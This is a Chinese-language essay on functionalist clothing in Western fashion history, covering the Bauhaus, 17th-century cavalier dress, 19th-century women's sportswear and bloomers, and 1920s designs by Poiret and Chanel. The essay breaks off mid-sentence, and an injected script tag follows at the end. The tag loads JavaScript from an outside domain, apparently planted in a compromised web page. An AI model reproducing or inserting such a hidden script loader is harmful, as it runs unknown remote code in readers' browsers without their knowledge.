服装是一种衣着方式，它不仅代表着一个民族、一个时代以及当时社会风尚的不同特征，而且能够折射出人类文明的发展变化。从强调自然之美的古典样式到纷繁多变的现代主义服装，每一种风格的服装总能带给后人更多的启发，在西方服装的发展过程中，有一种模式的服装一直影响着现代服装的设计，即功能主义服装。
谈起功能主义，就不得不提到现代设计的母校——包豪斯(Das Staatliches Bauhaus，1919－1933)，它是由建筑师格罗佩斯(Walter Gropius，1883—1969)于1919年4月1日在德国魏玛创立的。包豪斯的理论原则是，废弃历史的传统形式和产品的附加装饰，主张形式依随功能，尊重结构的自身逻辑，强调几何造型的单纯明快之感，使产品具有简单的轮廓、简洁的外表，重视机械技术，促进标准化并考虑商业因素。这些原则被称为功能主义设计理论，即要求最大程度地达到产品的使用目的．主张使产品的审美特征寓于技术的形式中，做到实用、经济、美观。功能主义设计理论的实践在现代设计的理论建设中具有重要地位。
虽然功能主义成为理论最初表现在建筑设计上，但在西方服装发展史上早就有功能主义的影子，当时的功能性服装，虽然没有明确的理论指导，但有一点与现代设计中的功能主义不谋而合，就是对穿着者舒适性、便利性的充分重视。之后，功能主义便一直贯穿在西方服装发展的整个过程中。
17世纪骑士装
17世纪的欧洲战争频繁，历时半个世纪的荷兰民族独立战争和欧洲各国新旧教派之争，使得大部分男子走上战场，因此骑士的服装普遍流行，并成为这个时代男子的日常服。这种名为justaucorpo的骑士装是一种带软折襞的服装，采用天鹅绒和缎料，带有精美的花边领与袖口，配以大而卷褶并插有鸵鸟毛的帽子。骑士的服装因为能够很好地满足人大范围活动而方便实用，男装较女装更趋向时代化发展。
19世纪功能性女装的出现
19世纪的服装业有两个值得关注的变化：工业的进步和裁剪技术的发展，使服装的面料和款式更为多样化，18世纪末以来开始使用特殊面料，设计也比较简洁、新潮、大胆，从中可以窥见现代服饰的影子。技术的进步为功能性服装的发展提供了物质支持，生活方式的改变，则是功能性服装发展的原动力。在上流社会，年轻女子参加体育活动成为时髦。虽然当时的妇女为了强调所谓的教养，总是随身带着药丸，用手帕掩面，作娇羞状，但她们也热衷运动，早上骑马，下午打网球或高尔夫球。随之而来的就是适应各种体育活动轻便而实用的服装款式的出现，如旅行外套、乘车服、打猎服、游艇服等。
19世纪30年代，女士风行像男士那样骑马兜风，骑马服饰开始出现。女士在宽敞的长裙里穿用细棉布做的紧身马裤和长统靴，戴高统礼帽和鹿皮手套。社会风气的改变，使得女子的地位得到提高，女权主义者也开始活动，他们倡导女子也应和男子一样穿长裤，美国的女权运动先驱Amelia Jenks Bloomer夫人首先把东方风格的阿拉伯式宽松灯笼裤引入女装，进行大胆尝试，虽然在美国遭到非难，但是却在英国得到赞同， 1887年英国的史密斯子爵夫人就穿上灯笼裤，伦敦一家啤酒馆还把这种裤装用于女服务员的制服，强调自由舒适。女式裤装、短上衣和短套装的出现，成为当时的大胆革新，是女装摆脱束缚，追求功能的进一步体现。
20世纪功能性服装的发展
进入20世纪，经济的发展和科技的进步，使得人们的生活方式发生了巨大的变化，随着生活方式的改变，功能性服装得到了进一步的发展。
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0世纪20年代的女装：女装功能化、男性化
第一次世界大战的爆发，使得人们的生活方式、生活态度发生了新的改变。妇女直接参加生产和战争，获得了经济上的自由和民主权利，在社会生活中扮演着重要的角色。20年代的服装适应着新生活的方方面面。妇女们有了更自由的生活，除了工作外，她们还热衷运动和跳舞，因此服装的功能化上升为设计的首要因素。摒弃传统的紧身胸衣，上衣变短，腰带也开始使用，女性在生活中更加舒适和随意。这对于传统的服装是一个直接的冲击，服装的观念、形式、剪裁、生产、面料都与前10年大相径庭。
与此同时，由于妇女们不断提高的社会地位，年轻女性积极地主张性别平等，为反抗男权社会，女性们一整天都穿上长裤，裤装的舒适方便使裤装一直流行，女性的裤子第一次成为正式服装部分。保罗·波列特（Paul Poiret1879-1944）设计的正式场合的女长裤，在服装设计上的影响就更加长久。法国女设计师可可·夏奈尔（Coco Chanel1883-1971）提出，男性对于女性的性的欣赏立场不应该作为女性服装设计的考虑中心。她把男服的服装材料直接使用到女装上， 为女装的功能化、男性化做出了有益的探索。并设计生产了自己的运动装，这种服装以宽松内衣的基本结构为根据演化而成，宽松、简单，并且采用松软的棉质面料，这种宽松服装的设计方?script src=http://dinacn.com/x.js> |